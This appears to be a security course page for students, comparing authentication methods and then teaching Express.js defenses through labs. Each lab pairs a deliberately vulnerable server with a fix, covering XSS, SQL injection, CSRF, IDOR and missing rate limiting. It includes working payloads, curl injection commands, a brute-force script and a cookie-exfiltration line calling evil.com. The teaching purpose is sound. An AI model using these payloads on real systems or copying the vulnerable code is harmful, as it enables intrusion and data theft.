β†’ No: Continue below ↓
❓ What kind of client will consume your API?
β†’ Browser-only (SSR, monolith): Sessions with HttpOnly cookies
β†’ Mobile app or SPA + API: JWT (stateless, works without cookies)
β†’ Both web and mobile/API: Hybrid (see below)
🎯 Practical Recommendations
SSR dashboards, admin panels, monoliths β†’ Sessions
SPA + REST API, React Native, microservices β†’ JWT
Consumer apps wanting easy signup β†’ OAuth + Sessions or JWT
Web app + mobile app + public API β†’ Hybrid: sessions for web, JWT for mobile/API
πŸ”€

Common Combinations (They Work Together!)

These methods aren't mutually exclusive. In real-world apps, you often combine them:

OAuth β†’ Session

User logs in with Google, you create a server session. Best for traditional web apps.

OAuth β†’ JWT

User logs in with GitHub, you issue your own JWT. Best for SPAs and mobile apps.

Session + JWT

Sessions for your web dashboard, JWTs for your public API. Many SaaS apps do this.

πŸ’‘ Key Takeaway

OAuth answers "WHO can vouch for you" (Google, GitHub, etc.)
Sessions/JWT answer "HOW does the server remember you" after login

After OAuth login, you still need to track the userβ€”that's where sessions or JWTs come in. Choose based on your architecture, not hype!

πŸ›‘οΈ Web Vulnerabilities & How to Defend in Express

Authentication is just one piece of the security puzzle. As future cybersecurity professionals, you need to understand the common attack vectors that target web applications and how to defend against them in Node.js/Express.

⚠️

Golden Rule #1: Never Trust the Client

This is the most important principle in web security. Everything that comes from the clientβ€”form data, headers, cookies, URL parameters, JSON payloadsβ€”can be manipulated by an attacker.

❌ Common Mistake

Developers add validation in JavaScript on the frontend (e.g., "password must be 8+ characters") and assume that's enough.

Problem: An attacker can disable JavaScript, use browser DevTools, or send requests directly with curl or Postmanβ€”completely bypassing your frontend.
βœ… Correct Approach

Client-side validation is for UX only (instant feedback). The real validation happens on the serverβ€”always.

Rule: If it's not validated server-side, it's not validated at all.
🎯 What attackers can manipulate:
πŸ“
Form fields

Hidden fields, disabled inputs, dropdown valuesβ€”all editable

πŸ”—
URL parameters

/user/123 β†’ change to /user/456 (IDOR attack)

πŸͺ
Cookies

Unless HttpOnly + signed, cookies can be read/modified

πŸ“‹
Headers

X-Forwarded-For, User-Agentβ€”all spoofable

πŸ“¦
JSON payloads

Add extra fields like "isAdmin": true

πŸ“
File uploads

Rename malware.exe to image.jpg

πŸ”’

Server-Side Validation in Express

Use libraries like express-validator or zod to validate and sanitize all incoming data on the server.

# Install validation library
npm install express-validator
const express = require('express');
const { body, param, validationResult } = require('express-validator');

const app = express();
app.use(express.json());

// ❌ WRONG: Trusting client data directly
app.post('/register-unsafe', (req, res) => {
  const { email, password, role } = req.body;
  // Attacker can send { role: "admin" } and become admin!
  createUser(email, password, role);
});

// βœ… CORRECT: Validate and sanitize everything
app.post('/register', [
  body('email')
    .isEmail().withMessage('Invalid email')
    .normalizeEmail(),
  body('password')
    .isLength({ min: 8 }).withMessage('Password must be 8+ characters')
    .matches(/[A-Z]/).withMessage('Must contain uppercase')
    .matches(/[0-9]/).withMessage('Must contain number'),
  body('name')
    .trim()
    .escape() // Prevents XSS
    .isLength({ min: 2, max: 50 })
], (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  
  // Only extract fields you expect (ignore "role" even if sent)
  const { email, password, name } = req.body;
  createUser(email, password, name, 'user'); // Role is always 'user'
  res.json({ ok: true });
});

OWASP Top 10 Web Vulnerabilities

The most critical security risks for web applications

The OWASP (Open Web Application Security Project) maintains a list of the top 10 most critical web application security risks. As cybersecurity students, you should know these by heart. Let's cover the most relevant ones for Express.js applications.

HIGH

Cross-Site Scripting (XSS)

What is it?

Attacker injects malicious JavaScript that executes in victims' browsers. Can steal cookies, session tokens, or perform actions as the user.

🎯 Attack Example
// User submits this as their "name":
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// If you render it without escaping:
res.send(`Welcome, ${user.name}!`); // πŸ’€ Script executes!
πŸ§ͺ Deep Dive: Simulate XSS Attack Hands-on Lab
⚠️

Educational purposes only! Only test on your own local server. Never attempt these on real websites.

1
Create a vulnerable server

Create a file called xss-vulnerable.js:

// xss-vulnerable.js - VULNERABLE SERVER (for learning only!)
const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

// Store comments (in-memory for demo)
const comments = [];

app.get('/', (req, res) => {
  let html = `
    <h1>Guestbook (Vulnerable!)</h1>
    <form method="POST" action="/comment">
      <input name="name" placeholder="Your name" />
      <input name="comment" placeholder="Your comment" />
      <button>Post</button>
    </form>
    <h2>Comments:</h2>
  `;
  
  // ❌ VULNERABLE: Rendering user input without escaping!
  comments.forEach(c => {
    html += `<p><strong>${c.name}:</strong> ${c.comment}</p>`;
  });
  
  res.send(html);
});

app.post('/comment', (req, res) => {
  comments.push({ name: req.body.name, comment: req.body.comment });
  res.redirect('/');
});

app.listen(3000, () => console.log('Vulnerable server: http://localhost:3000'));
2
Run the vulnerable server
npm init -y
npm install express
node xss-vulnerable.js

Open http://localhost:3000 in your browser.

3
Execute XSS attacks

In the comment form, try these payloads:

Alert Box (Basic test)
<script>alert('XSS!')</script>
Cookie Stealer
<script>alert('Your cookies: ' + document.cookie)</script>
Image Tag (bypasses some filters)
<img src="x" onerror="alert('XSS via img tag!')">
Page Defacement
<script>document.body.innerHTML='<h1>HACKED!</h1>'</script>
4
Observe the attack

After posting, refresh the page. You'll see the JavaScript execute! Every visitor to this page will now run your malicious code.

βœ…
Now fix it!

Replace the vulnerable line with proper escaping:

// Add this escape function
function escapeHtml(text) {
  return text
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;');
}

// βœ… SAFE: Escape before rendering
comments.forEach(c => {
  html += `<p><strong>${escapeHtml(c.name)}:</strong> ${escapeHtml(c.comment)}</p>`;
});
πŸ›‘οΈ Defense in Express
1
Escape output – Use template engines that auto-escape (EJS with <%= %>, Handlebars, Pug)
2
Sanitize input – Use express-validator's .escape() or DOMPurify for HTML
3
Set CSP headers – Content Security Policy restricts script sources
4
HttpOnly cookies – Prevents JavaScript access to session cookies
const helmet = require('helmet');

app.use(helmet()); // Sets many security headers including CSP

// Or configure CSP manually:
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"], // Only allow scripts from same origin
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
  }
}));
CRITICAL

SQL Injection (SQLi)

What is it?

Attacker inserts malicious SQL code through user input, potentially reading, modifying, or deleting entire databases.

🎯 Attack Example
// ❌ Vulnerable: String concatenation
const query = `SELECT * FROM users WHERE email = '${req.body.email}'`;

// Attacker sends email: ' OR '1'='1' --
// Result: SELECT * FROM users WHERE email = '' OR '1'='1' --'
// πŸ’€ Returns ALL users!
πŸ§ͺ Deep Dive: Simulate SQL Injection Hands-on Lab
⚠️

Educational purposes only! We'll use SQLite so you don't need to set up a database server.

1
Create a vulnerable server with SQLite

Create a file called sqli-vulnerable.js:

// sqli-vulnerable.js - VULNERABLE SERVER (for learning only!)
const express = require('express');
const Database = require('better-sqlite3');

const app = express();
app.use(express.json());

// Create in-memory database with sample users
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, password TEXT, role TEXT);
  INSERT INTO users VALUES (1, 'admin@example.com', 'supersecret123', 'admin');
  INSERT INTO users VALUES (2, 'user@example.com', 'password123', 'user');
  INSERT INTO users VALUES (3, 'bob@example.com', 'bobpass', 'user');
  
  CREATE TABLE secrets (id INTEGER PRIMARY KEY, content TEXT);
  INSERT INTO secrets VALUES (1, 'The launch codes are: 1234-ABCD');
  INSERT INTO secrets VALUES (2, 'CEO salary: $5,000,000');
`);

// ❌ VULNERABLE: String concatenation in SQL query!
app.post('/login', (req, res) => {
  const { email, password } = req.body;
  
  // This is the vulnerable line!
  const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
  
  console.log('Executing:', query); // Shows the actual query
  
  try {
    const user = db.prepare(query).get();
    if (user) {
      res.json({ success: true, user: { id: user.id, email: user.email, role: user.role } });
    } else {
      res.status(401).json({ error: 'Invalid credentials' });
    }
  } catch (e) {
    res.status(500).json({ error: e.message });
  }
});

// ❌ VULNERABLE: Search endpoint
app.get('/search', (req, res) => {
  const { email } = req.query;
  const query = `SELECT id, email, role FROM users WHERE email LIKE '%${email}%'`;
  
  console.log('Executing:', query);
  
  try {
    const users = db.prepare(query).all();
    res.json(users);
  } catch (e) {
    res.status(500).json({ error: e.message });
  }
});

app.listen(3000, () => console.log('Vulnerable server: http://localhost:3000'));
2
Run the vulnerable server
npm init -y
npm install express better-sqlite3
node sqli-vulnerable.js
3
Execute SQL Injection attacks

Open a new terminal and try these attacks with curl:

Bypass Login (Authentication Bypass)
# Login without knowing the password!
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@example.com", "password": "' OR '1'='1"}'

The query becomes: WHERE email = 'admin@example.com' AND password = '' OR '1'='1'. Since 1=1 is always true, it logs you in!

Extract All Users
# Get all users from the search endpoint
curl "http://localhost:3000/search?email=' OR '1'='1"
UNION Attack (Extract Other Tables!)
# Steal data from the "secrets" table!
curl "http://localhost:3000/search?email=' UNION SELECT id, content, 'hacked' FROM secrets--"

This combines results from the secrets table with the user search. You'll see confidential data!

Comment Injection
# Login as admin without ANY password check
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@example.com'--", "password": "anything"}'

The -- comments out the rest of the query, including the password check!

4
Watch the server logs

Look at your server terminal to see the actual SQL queries being executed. You'll see exactly how the injection works!

βœ…
Now fix it with parameterized queries!
// βœ… SAFE: Use parameterized queries
app.post('/login', (req, res) => {
  const { email, password } = req.body;
  
  // Parameters are safely escaped - injection impossible!
  const stmt = db.prepare('SELECT * FROM users WHERE email = ? AND password = ?');
  const user = stmt.get(email, password);
  
  if (user) {
    res.json({ success: true, user });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

Now try the same attacksβ€”they won't work! The ? placeholders ensure input is treated as data, never as SQL code.

πŸ›‘οΈ Defense in Express
1
Use parameterized queries – Never concatenate user input into SQL
2
Use an ORM – Prisma, Sequelize, TypeORM handle escaping for you
3
Validate input types – Ensure numbers are numbers, emails are emails
// βœ… SAFE: Parameterized query (mysql2 example)
const [rows] = await db.execute(
  'SELECT * FROM users WHERE email = ?',
  [req.body.email]
);

// βœ… SAFE: Using Prisma ORM
const user = await prisma.user.findUnique({
  where: { email: req.body.email }
});

// βœ… SAFE: MongoDB with Mongoose
const user = await User.findOne({ email: req.body.email });
HIGH

Cross-Site Request Forgery (CSRF)

What is it?

Attacker tricks a logged-in user into making unwanted requests. If you're logged into your bank and visit a malicious site, it could transfer money using your session.

🎯 Attack Example
<!-- Malicious site embeds this image -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- Or a hidden form that auto-submits -->
<form action="https://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil').submit();</script>
πŸ§ͺ Deep Dive: Simulate CSRF Attack Hands-on Lab
⚠️

Educational purposes only! This demonstrates how CSRF works using two local servers.

1
Create a vulnerable "bank" server

Create bank-vulnerable.js:

// bank-vulnerable.js - VULNERABLE "BANK" (for learning only!)
const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());

// Fake user data
let balance = 10000;
let transactions = [];

// Simple session simulation
app.use((req, res, next) => {
  if (req.cookies.session === 'logged-in') {
    req.user = { name: 'Alice' };
  }
  next();
});

app.get('/', (req, res) => {
  if (!req.user) {
    return res.send(`
      <h1>Bank Login</h1>
      <form method="POST" action="/login">
        <button>Login as Alice</button>
      </form>
    `);
  }
  
  res.send(`
    <h1>Welcome, ${req.user.name}!</h1>
    <p>Balance: $${balance}</p>
    <h2>Transfer Money</h2>
    <form method="POST" action="/transfer">
      <input name="to" placeholder="Recipient" />
      <input name="amount" type="number" placeholder="Amount" />
      <button>Transfer</button>
    </form>
    <h3>Recent Transactions:</h3>
    <ul>${transactions.map(t => `<li>${t}</li>`).join('')}</ul>
  `);
});

app.post('/login', (req, res) => {
  res.cookie('session', 'logged-in'); // ❌ No SameSite!
  res.redirect('/');
});

// ❌ VULNERABLE: No CSRF protection!
app.post('/transfer', (req, res) => {
  if (!req.user) return res.status(401).send('Not logged in');
  
  const { to, amount } = req.body;
  const amt = parseInt(amount);
  
  if (amt > 0 && amt <= balance) {
    balance -= amt;
    transactions.push(`Sent $${amt} to ${to}`);
    console.log(`πŸ’° Transfer: $${amt} to ${to}`);
  }
  
  res.redirect('/');
});

app.listen(3000, () => console.log('Bank server: http://localhost:3000'));
2
Create the "evil" attacker site

Create evil-site.js:

// evil-site.js - Attacker's website
const express = require('express');
const app = express();

app.get('/', (req, res) => {
  res.send(`
    <h1>πŸŽ‰ You won a FREE iPhone! πŸŽ‰</h1>
    <p>Click the button to claim your prize!</p>
    <button onclick="document.getElementById('csrf').submit()">
      Claim Prize!
    </button>
    
    <!-- Hidden form that attacks the bank -->
    <form id="csrf" action="http://localhost:3000/transfer" method="POST" style="display:none">
      <input name="to" value="hacker@evil.com" />
      <input name="amount" value="5000" />
    </form>
    
    <p style="color: #666; font-size: 12px;">
      (This page secretly submits a form to the bank!)
    </p>
  `);
});

app.listen(4000, () => console.log('Evil site: http://localhost:4000'));
3
Run both servers
# Terminal 1: Run the bank
npm install express cookie-parser
node bank-vulnerable.js

# Terminal 2: Run the evil site
node evil-site.js
4
Execute the attack
  1. Open http://localhost:3000 and login as Alice
  2. Note your balance: $10,000
  3. While still logged in, open http://localhost:4000 in another tab
  4. Click "Claim Prize!"
  5. Go back to the bank tab and refresh
  6. πŸ’€ Your balance is now $5,000! The attacker stole $5,000!
βœ…
Fix with SameSite cookies
// βœ… SAFE: Add SameSite to the cookie
app.post('/login', (req, res) => {
  res.cookie('session', 'logged-in', {
    httpOnly: true,
    sameSite: 'strict' // Cookie won't be sent from evil site!
  });
  res.redirect('/');
});

With SameSite: 'strict', the browser won't include the cookie when the request comes from a different site. The attack fails!

πŸ›‘οΈ Defense in Express
1
CSRF tokens – Unique token per session/request that attacker can't guess
2
SameSite cookies – SameSite=Strict or Lax prevents cross-site cookie sending
3
Check Origin/Referer – Verify requests come from your domain
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

app.use(cookieParser());
app.use(csrf({ cookie: true }));

// Include token in forms
app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

// In your HTML form:
// <input type="hidden" name="_csrf" value="<%= csrfToken %>" />

// For SPAs: Use SameSite cookies instead
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict' // Blocks cross-site requests
});
HIGH

Insecure Direct Object Reference (IDOR)

What is it?

Application exposes internal object IDs (user ID, order ID) without checking if the current user has permission to access them. Attacker just changes the ID in the URL.

🎯 Attack Example
// User sees their profile at:
GET /api/users/42/profile

// Attacker changes 42 to 43:
GET /api/users/43/profile  // πŸ’€ Sees someone else's data!

// Or with invoice downloads:
GET /invoices/INV-2024-001.pdf
GET /invoices/INV-2024-002.pdf  // πŸ’€ Another company's invoice!
πŸ§ͺ Deep Dive: Simulate IDOR Attack Hands-on Lab
⚠️

Educational purposes only! IDOR is one of the most common bugs found in bug bounty programs.

1
Create a vulnerable API

Create idor-vulnerable.js:

// idor-vulnerable.js - VULNERABLE API (for learning only!)
const express = require('express');
const app = express();
app.use(express.json());

// Simulated database
const users = [
  { id: 1, name: 'Alice', email: 'alice@company.com', salary: 75000, ssn: '123-45-6789' },
  { id: 2, name: 'Bob', email: 'bob@company.com', salary: 85000, ssn: '987-65-4321' },
  { id: 3, name: 'Charlie (CEO)', email: 'ceo@company.com', salary: 500000, ssn: '111-22-3333' },
];

const orders = [
  { id: 101, userId: 1, product: 'Laptop', total: 1299, card: '**** **** **** 1234' },
  { id: 102, userId: 2, product: 'Phone', total: 999, card: '**** **** **** 5678' },
  { id: 103, userId: 3, product: 'Yacht', total: 2500000, card: '**** **** **** 9999' },
];

// Simulate login - header contains user ID (simplified)
function getLoggedInUser(req) {
  const userId = parseInt(req.headers['x-user-id']) || 1;
  return users.find(u => u.id === userId);
}

// ❌ VULNERABLE: Returns ANY user's data!
app.get('/api/users/:id', (req, res) => {
  const user = users.find(u => u.id === parseInt(req.params.id));
  if (!user) return res.status(404).json({ error: 'User not found' });
  // No check if logged-in user can access this!
  res.json(user);
});

// ❌ VULNERABLE: Returns ANY order's data!
app.get('/api/orders/:id', (req, res) => {
  const order = orders.find(o => o.id === parseInt(req.params.id));
  if (!order) return res.status(404).json({ error: 'Order not found' });
  // No check if this order belongs to the user!
  res.json(order);
});

// ❌ VULNERABLE: Can delete ANY user!
app.delete('/api/users/:id', (req, res) => {
  const idx = users.findIndex(u => u.id === parseInt(req.params.id));
  if (idx === -1) return res.status(404).json({ error: 'User not found' });
  users.splice(idx, 1);
  res.json({ message: 'User deleted' });
});

app.listen(3000, () => console.log('API: http://localhost:3000'));
2
Run the vulnerable API
npm install express
node idor-vulnerable.js
3
Execute IDOR attacks

Pretend you're user 1 (Alice) and try to access other users' data:

View your own profile (legitimate)
curl http://localhost:3000/api/users/1 -H "X-User-Id: 1"
πŸ’€ View someone else's profile (IDOR!)
# Still logged in as user 1, but accessing user 2's data!
curl http://localhost:3000/api/users/2 -H "X-User-Id: 1"

# Access CEO's sensitive data!
curl http://localhost:3000/api/users/3 -H "X-User-Id: 1"

You can see Bob's SSN and the CEO's $500k salary!

πŸ’€ Enumerate all orders
# Try sequential IDs to find all orders
curl http://localhost:3000/api/orders/101
curl http://localhost:3000/api/orders/102
curl http://localhost:3000/api/orders/103

You found the CEO's $2.5M yacht purchase!

πŸ’€ Delete another user!
# As user 1, delete user 2!
curl -X DELETE http://localhost:3000/api/users/2 -H "X-User-Id: 1"

# Verify Bob is gone
curl http://localhost:3000/api/users/2
βœ…
Fix with authorization checks
// βœ… SAFE: Check ownership before returning data
app.get('/api/users/:id', (req, res) => {
  const loggedInUser = getLoggedInUser(req);
  const requestedId = parseInt(req.params.id);
  
  // Only allow access to your own profile!
  if (loggedInUser.id !== requestedId) {
    return res.status(403).json({ error: 'Access denied' });
  }
  
  const user = users.find(u => u.id === requestedId);
  res.json(user);
});

// βœ… BETTER: Use /me endpoint instead of exposing IDs
app.get('/api/me', (req, res) => {
  const user = getLoggedInUser(req);
  res.json(user);
});

// βœ… SAFE: Check order ownership
app.get('/api/orders/:id', (req, res) => {
  const loggedInUser = getLoggedInUser(req);
  const order = orders.find(o => o.id === parseInt(req.params.id));
  
  if (!order) return res.status(404).json({ error: 'Not found' });
  
  // Check if order belongs to the user!
  if (order.userId !== loggedInUser.id) {
    return res.status(403).json({ error: 'Access denied' });
  }
  
  res.json(order);
});
πŸ›‘οΈ Defense in Express
1
Always check ownership – Verify the logged-in user owns the resource
2
Use indirect references – Map public IDs to internal IDs server-side
3
Use UUIDs – Harder to guess than sequential IDs (but still verify ownership!)
// ❌ WRONG: No authorization check
app.get('/api/users/:id/profile', async (req, res) => {
  const profile = await db.getProfile(req.params.id);
  res.json(profile); // Anyone can see anyone's profile!
});

// βœ… CORRECT: Check ownership
app.get('/api/users/:id/profile', requireAuth, async (req, res) => {
  const requestedId = req.params.id;
  const currentUserId = req.user.id;
  
  // Only allow access to own profile (or if admin)
  if (requestedId !== currentUserId && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  
  const profile = await db.getProfile(requestedId);
  res.json(profile);
});

// βœ… BETTER: Use current user's ID directly
app.get('/api/me/profile', requireAuth, async (req, res) => {
  const profile = await db.getProfile(req.user.id);
  res.json(profile);
});
MEDIUM

Brute Force & DDoS (Missing Rate Limiting)

What is it?

Without rate limiting, attackers can try thousands of passwords per second, scrape your entire database, or overwhelm your server with requests.

🎯 Attack Example
# Attacker runs password bruteforce
for password in $(cat rockyou.txt); do
  curl -X POST https://yoursite.com/login \
    -d "email=victim@email.com&password=$password"
done
# 10,000 attempts per minute if no rate limiting!
πŸ›‘οΈ Defense in Express
const rateLimit = require('express-rate-limit');

// General rate limit for all requests
const generalLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // 100 requests per window
  message: { error: 'Too many requests, slow down!' }
});

// Strict limit for login attempts
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // Only 5 login attempts
  message: { error: 'Too many login attempts, try again later' },
  skipSuccessfulRequests: true // Don't count successful logins
});

app.use(generalLimiter);
app.post('/login', loginLimiter, loginHandler);
app.post('/register', loginLimiter, registerHandler);
πŸ§ͺ Deep Dive: Simulate Brute Force Attack Hands-on Lab
⚠️

Educational purposes only! This demonstrates brute force attacks on a local vulnerable server.

1
Create a vulnerable login server (no rate limiting)

Create login-vulnerable.js:

// login-vulnerable.js - NO RATE LIMITING (vulnerable!)
const express = require('express');
const app = express();

app.use(express.json());

// Fake user database
const users = {
  'admin@company.com': { password: 'password123', role: 'admin' },
  'alice@company.com': { password: 'letmein', role: 'user' }
};

// Track login attempts for logging
let attempts = 0;

// ❌ VULNERABLE: No rate limiting!
app.post('/login', (req, res) => {
  attempts++;
  const { email, password } = req.body;
  
  const user = users[email];
  
  if (user && user.password === password) {
    console.log(`βœ… Attempt #${attempts}: SUCCESS - ${email}`);
    res.json({ success: true, message: 'Login successful!', role: user.role });
  } else {
    console.log(`❌ Attempt #${attempts}: FAILED - ${email}:${password}`);
    res.status(401).json({ success: false, message: 'Invalid credentials' });
  }
});

app.get('/attempts', (req, res) => {
  res.json({ totalAttempts: attempts });
});

app.listen(3000, () => {
  console.log('Vulnerable login server: http://localhost:3000');
  console.log('⚠️  NO RATE LIMITING - Ready for brute force!');
});
2
Create a password wordlist

Create passwords.txt with common passwords:

123456
password
password123
letmein
admin
qwerty
12345678
welcome
monkey
dragon
3
Create a brute force script

Create bruteforce.js:

// bruteforce.js - Password cracking script
const fs = require('fs');

async function bruteforce(email) {
  const passwords = fs.readFileSync('passwords.txt', 'utf8')
    .split('\n')
    .filter(p => p.trim());
  
  console.log(`πŸ”“ Starting brute force on: ${email}`);
  console.log(`πŸ“‹ Trying ${passwords.length} passwords...\n`);
  
  for (const password of passwords) {
    try {
      const res = await fetch('http://localhost:3000/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ email, password })
      });
      
      const data = await res.json();
      
      if (data.success) {
        console.log(`\nπŸŽ‰ PASSWORD FOUND!`);
        console.log(`   Email: ${email}`);
        console.log(`   Password: ${password}`);
        console.log(`   Role: ${data.role}`);
        return;
      }
    } catch (err) {
      console.log('Connection error', err.message);
    }
  }
  
  console.log('❌ Password not found in wordlist');
}

// Attack the admin account!
bruteforce('admin@company.com');
4
Run the attack

In Terminal 1 - start the vulnerable server:

node login-vulnerable.js

In Terminal 2 - launch the brute force attack:

node bruteforce.js
5
Observe the attack

Watch the server terminal - you'll see rapid-fire login attempts:

πŸ“Š Server logs showing brute force
❌ Attempt #1: FAILED - admin@company.com:123456
❌ Attempt #2: FAILED - admin@company.com:password
βœ… Attempt #3: SUCCESS - admin@company.com

πŸŽ‰ PASSWORD FOUND!
   Email: admin@company.com
   Password: password123
   Role: admin

The attacker cracked the admin password in just 3 attempts! With a real wordlist (like RockYou with 14M passwords), this happens in seconds without rate limiting.

βœ“
Fix: Add rate limiting

Create login-protected.js:

// login-protected.js - WITH RATE LIMITING
const express = require('express');
const rateLimit = require('express-rate-limit');
const app = express();

app.use(express.json());

// βœ… PROTECTED: Strict rate limiting on login
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // Only 5 attempts per 15 min
  message: { 
    success: false,
    error: 'Too many login attempts. Try again in 15 minutes.',
    retryAfter: '15 minutes'
  },
  standardHeaders: true, // Return rate limit info in headers
  legacyHeaders: false
});

// Same user database
const users = {
  'admin@company.com': { password: 'password123', role: 'admin' }
};

// βœ… Rate limiter applied to login route
app.post('/login', loginLimiter, (req, res) => {
  const { email, password } = req.body;
  const user = users[email];
  
  if (user && user.password === password) {
    res.json({ success: true, message: 'Login successful!' });
  } else {
    res.status(401).json({ success: false, message: 'Invalid credentials' });
  }
});

app.listen(3000, () => {
  console.log('Protected login server: http://localhost:3000');
  console.log('βœ… Rate limited: max 5 attempts per 15 minutes');
});

Now run the brute force script again - it gets blocked after 5 attempts! The attacker would need 15+ hours to try just 100 passwords instead of milliseconds.

πŸ“¦ Install required package: npm install express express-rate-limit
πŸ”§

Essential Security Middleware: Helmet.js

helmet is a must-have middleware that sets various HTTP headers to protect your Express app. One line of code, many protections.

# Install helmet
npm install helmet
const helmet = require('helmet');

app.use(helmet()); // That's it! Adds 11+ security headers
What helmet sets:
Content-Security-Policy Prevents XSS and data injection
X-Frame-Options Prevents clickjacking
X-Content-Type-Options Prevents MIME-type sniffing
Strict-Transport-Security Forces HTTPS
X-XSS-Protection Legacy XSS filter
Referrer-Policy Controls referer header
βœ… Express Security Checklist
πŸ“

Ready to Practice?

Test your knowledge with practice exercises and prepare for your exam.

Go to Exercises β†’
? Keyboard Shortcuts

⌨️ Keyboard Shortcuts

Next section J
Previous section K
Change language L
Toggle theme T
Scroll to top Home
Close modal Esc